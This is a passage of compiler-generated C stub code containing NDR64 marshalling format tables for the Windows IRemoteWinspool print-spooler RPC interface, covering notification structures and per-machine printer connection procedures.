},\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag10,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 5 /* 0x5 */,\n        &__midl_frag92,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag891_t __midl_frag891 =\n{ \n/* RPC_V2_NOTIFY_INFO_DATA */\n    { \n    /* RPC_V2_NOTIFY_INFO_DATA */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_V2_NOTIFY_INFO_DATA */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* RPC_V2_NOTIFY_INFO_DATA */\n            0x30,    /* FC64_STRUCT */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT16) 12 /* 0xc */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag892\n        },\n        { \n        /* RPC_V2_NOTIFY_INFO_DATA */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag889_t __midl_frag889 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n        { \n        /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n            0x47,    /* FC64_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag891\n        },\n        &__midl_frag903,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag888_t __midl_frag888 =\n{ \n/* RPC_V2_NOTIFY_INFO */\n    { \n    /* RPC_V2_NOTIFY_INFO */\n        0x36,    /* FC64_CONF_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_V2_NOTIFY_INFO */\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 1 /* 0x1 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n        &__midl_frag889,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag887_t __midl_frag887 =\n{ \n/* NOTIFY_REPLY_CONTAINER */\n    { \n    /* NOTIFY_REPLY_CONTAINER */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* NOTIFY_REPLY_CONTAINER */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *RPC_V2_NOTIFY_INFO */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag888\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag886_t __midl_frag886 =\n{ \n/*  */\n    { \n    /* *SYSTEMTIME */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag885\n    }\n};\n\nstatic const __midl_frag885_t __midl_frag885 =\n{ \n/* SYSTEMTIME */\n    { \n    /* SYSTEMTIME */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* SYSTEMTIME */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */\n    }\n};\n\nstatic const __midl_frag884_t __midl_frag884 =\n{ \n/* SYSTEMTIME_CONTAINER */\n    { \n    /* SYSTEMTIME_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SYSTEMTIME_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag886,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag883_t __midl_frag883 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag882_t __midl_frag882 =\n0x7    /* FC64_INT64 */;\n\nstatic const __midl_frag878_t __midl_frag878 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag877_t __midl_frag877 =\n{ \n/* __MIDL_IRemoteWinspool_0025 */\n    { \n    /* __MIDL_IRemoteWinspool_0025 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        &__midl_frag878,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 9 /* 0x9 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag942,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag948,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag882,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag883,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 5 /* 0x5 */,\n        &__midl_frag884,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 6 /* 0x6 */,\n        &__midl_frag10,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 7 /* 0x7 */,\n        &__midl_frag92,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 8 /* 0x8 */,\n        &__midl_frag887,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 9 /* 0x9 */,\n        &__midl_frag900,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag875_t __midl_frag875 =\n{ \n/* RpcPrintNamedProperty */\n    { \n    /* RpcPrintNamedProperty */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RpcPrintNamedProperty */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 12 /* 0xc */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag874_t __midl_frag874 =\n{ \n/* RpcPrintNamedProperty */\n    { \n    /* RpcPrintNamedProperty */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RpcPrintNamedProperty */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag875\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag877\n        },\n        { \n        /* RpcPrintPropertyValue */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag873_t __midl_frag873 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 50 /* 0x32 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag872_t __midl_frag872 =\n{ \n/* *RpcPrintNamedProperty */\n    { \n    /* *RpcPrintNamedProperty */\n        { \n        /* *RpcPrintNamedProperty */\n            0x47,    /* FC64_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *RpcPrintNamedProperty */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag874\n        },\n        &__midl_frag873,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag871_t __midl_frag871 =\n{ \n/* RpcPrintPropertiesCollection */\n    { \n    /* RpcPrintPropertiesCollection */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RpcPrintPropertiesCollection */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag911,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag869_t __midl_frag869 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag868_t __midl_frag868 =\n{ \n/* RpcSyncRegisterForRemoteNotifications */\n    { \n    /* RpcSyncRegisterForRemoteNotifications */      /* procedure RpcSyncRegisterForRemoteNotifications */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag869,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pNotifyFilter */      /* parameter pNotifyFilter */\n        &__midl_frag871,\n        { \n        /* pNotifyFilter */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* phRpcHandle */      /* parameter phRpcHandle */\n        &__midl_frag913,\n        { \n        /* phRpcHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1018,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag865_t __midl_frag865 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag948\n};\n\nstatic const __midl_frag860_t __midl_frag860 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag859_t __midl_frag859 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag860\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag858_t __midl_frag858 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag859\n};\n\nstatic const __midl_frag855_t __midl_frag855 =\n{ \n/* RpcAsyncEnumPerMachineConnections */\n    { \n    /* RpcAsyncEnumPerMachineConnections */      /* procedure RpcAsyncEnumPerMachineConnections */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pServer */      /* parameter pServer */\n        &__midl_frag942,\n        { \n        /* pServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterEnum */      /* parameter pPrinterEnum */\n        &__midl_frag858,\n        { \n        /* pPrinterEnum */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag948,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag849_t __midl_frag849 =\n{ \n/* RpcAsyncDeletePerMachineConnection */\n    { \n    /* RpcAsyncDeletePerMachineConnection */      /* procedure RpcAsyncDeletePerMachineConnection */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pServer */      /* parameter pServer */\n        &__midl_frag942,\n        { \n        /* pServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterName */      /* parameter pPrinterName */\n        &__midl_frag947,\n        { \n        /* pPrinterName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag839_t __midl_frag839 =\n{ \n/* RpcAsyncAddPerMachineConnection */\n    { \n    /* RpcAsyncAddPerMachineConnection */      /* procedure RpcAsyncAddPerMachineConnection */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        